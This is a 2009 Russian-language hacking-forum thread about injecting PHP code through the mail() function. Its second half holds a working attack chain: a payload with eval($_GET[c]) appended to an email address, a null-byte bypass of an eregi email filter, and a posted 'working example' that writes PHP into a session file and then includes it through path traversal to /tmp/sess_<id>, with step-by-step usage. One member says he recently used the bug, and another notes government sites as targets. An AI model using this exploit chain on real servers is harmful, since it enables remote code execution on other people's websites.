Инъекция кода в mail()

Discussion in 'Уязвимости' started by [х26]VОLАND, 7 May 2009.

Thread Status:
Not open for further replies.
  1. pampom

    pampom Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    33
    Likes Received:
    5
    Reputations:
    0
    Pashkela
    Может денег сразу дать ? давай кошелек =)
     
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 pampom:

    У меня нет кошелька, мне он не нужен и никогда не был нужен:)))

    2 [AVT]:

    Мужик:) Риспект. Но всё равно ты не прав:) Не всегда
     
  3. [AVT]

    [AVT] Member

    Joined:
    20 Dec 2007
    Messages:
    37
    Likes Received:
    16
    Reputations:
    1
    Согласен. Но хакинг - настолько творческий и непредсказуемый процесс, что иногда случаются такие курьезы.
     
    1 person likes this.
  4. Велемир

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Пасиб за статью ))А на сервере может быть и несколько форм регистрации+mysql_quotes_gpc может и не на весь сервер распространяться...вот)).На правительственных и учрежденческих сайтах так оно и бывает(форм бывает до 5-6)
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    вы ещё не забывайте что в 50% случаев нехватает прав не чтение error_log и access_log
    И кеш, локал инклуды разные бывают
     
  6. _Quest_

    _Quest_ Member

    Joined:
    21 May 2009
    Messages:
    11
    Likes Received:
    12
    Reputations:
    3
    перечитал всю статью.

    Все не верно, человек явно не понимает в кодинге. Расчитано на человека который не понимает в кодинге или не понимает сути
    Воn определённый код:
    Code:
    <?php 
    mail("[email protected]", "$the_subject", $message, 
         "From: webmaster@ example.com \r\n" 
        ."X-Mailer: PHP/" . phpversion()); 
    ?>
    
    Если бы я писал код во первых я бы проверял данные при входе и при отправке от клиента. Воланд считает что можно сделать так
    или так
    Code:
    [email protected], <?=eval($_GET[c])?> 
    
    Это его слова. Но все вкладываться в переменные $the_subject, а не напрямую. Причем полученные данные будут фильтроваться.

    Spyder
    Вариантов достаточно по мимо чтения чтение error_log и access_log, к примеру если на хосьте есть фаилообменник можно подгрузить скрипт оттуда, или
    форма для загрузки картинок где не фильтруется содержаниев ней PHP кода.Хотя соглашусь всё зависит от прав.
     
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 _Quest_:

    Тю, а я на днях заюзал именно ЭТУ багу, так что работает и статья рулеззная
     
  8. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Квест, а ты явно не понимаешь в хакинге, перечитай статью еще три раза, потом проверь все написаное на живом примере, а потом отпишись.
     
  9. _Quest_

    _Quest_ Member

    Joined:
    21 May 2009
    Messages:
    11
    Likes Received:
    12
    Reputations:
    3
    Twoster поверь мне понимаю.
    Какраз в ходе проверки и увидел подобный вариан как у меня.Видимо те движки которыя я проверял имели отлиную от найденного волондом структуру.
    Если не трудно- живой пример в студию.
     
  10. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    _Quest_ все работает в тех условиях что описал [x26]VOLAND
    Наверно не стоит свою проблему с кривыми руками перелаживать на других.
     
  11. _Quest_

    _Quest_ Member

    Joined:
    21 May 2009
    Messages:
    11
    Likes Received:
    12
    Reputations:
    3
    PaCo приведи пример. Твои слова обсолюто ни чем не аргументированны. Я поискал и замети то что отписал выше. Покажеш где это работает я признаю что ты прав.
     
  12. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Квест, раз уж ты все понимаешь, то советую еще больше расширить свои кругозор,
    во-первых прочти статью Электа про обход фильтрации ereg null-байтом (это про %00),
    во-вторых ты пишешь про тему сообщения, а в заметке говорится о адресе, прочти документацию еще раз и узри что там адреса получателей заносятся через запятую, т.о. Если первым значением до занятой будет валидныи адрес, а после запятой наш зловредный кулхакерский код, то все прекрасно выполнится!
    П.с. Не обижайся, я раньше тоже таким был, сейчас приучили сначала читать, потом спорить.
     
  13. _Quest_

    _Quest_ Member

    Joined:
    21 May 2009
    Messages:
    11
    Likes Received:
    12
    Reputations:
    3
    Twoster я всеголиш пытаюсь разобратся вышеописанное я читал и матерьял действительно проверен и усвоен.Обижатся ненашто тк все ошибки это не минус - это опыт.Ну рас ни кто не готов показать, поиду искать дальше.В любом случае спасибо за совет.
     
    #33 _Quest_, 23 May 2009
    Last edited: 23 May 2009
  14. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    ок, я сейчас с телефона, в понедельник накатаю тебе скрипт, наглядным примером.
     
  15. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    попадёшь в роа, увидишь там реальный пример мной написаный
    воланд пришет про ereg-подобные функции которые уязвимы к нулбайту
    Если ты не нашёл ничего подобного в нескольких цмс - это не значит что такого не бывает
     
  16. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    Вот тебе РАБОЧИЙ пример:
    PHP:
    <?php
    session_start
    ();
    $_POSTT['mail']= "[email protected]chr(00) . '<?php phpinfo(); ?>' ;//что бы не писать форму


    // Взято с реального двига - advanced poll - include/class_pollcomment.php - 295 стр. 
    if (!eregi("^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@([0-9a-z][0-9a-z-]*[0-9a-z]\\.)+[0-9a-z]{1,6}$"$_POSTT['mail']) ) {
                
    $_POSTT['mail'] = '';
            }
    //echo $_POSTT['mail'];        

    $to      $_POSTT['mail'];
    $subject 'the subject';
    $message 'hello';
    $headers 'From: [email protected]"\r\n" .
        
    'Reply-To: [email protected]"\r\n" .
        
    'X-Mailer: PHP/' phpversion();

    if(
    mail($to$subject$message$headers)){//
      
    $_SESSION['mail']=$_POSTT['mail'];;
    }
     
    //LFI тоже взято с одного самопального движка 
    $page=@file_exists($_GET['page']) ? $_GET['page'] : '';
    if(!empty(
    $page)){
     include(
    $page);
    }

    Далее смотришь в кукисах(в адресной строке) свой индентификатор сессии(если ты такой знаток как пишешь то разберешься что это), далее чистишь кукисы или заходишь с другова браузера(важно что бы твой идентификатор сессии не передовался иначе инклюд не выйдет, по крайне мере у меня из за этого не выходил нигде где бы я ни пробывал, может это связано с тем php производит запись в файл сессии и и инклюд не происходит):

    имя_скрипта.php?page=/../../../../../../../TMP/sess_тут_индетификатор_сессии_из_кукисов_или_из_адресной_строки
     
    #36 PaCo, 23 May 2009
    Last edited: 24 May 2009
    1 person likes this.
Thread Status:
Not open for further replies.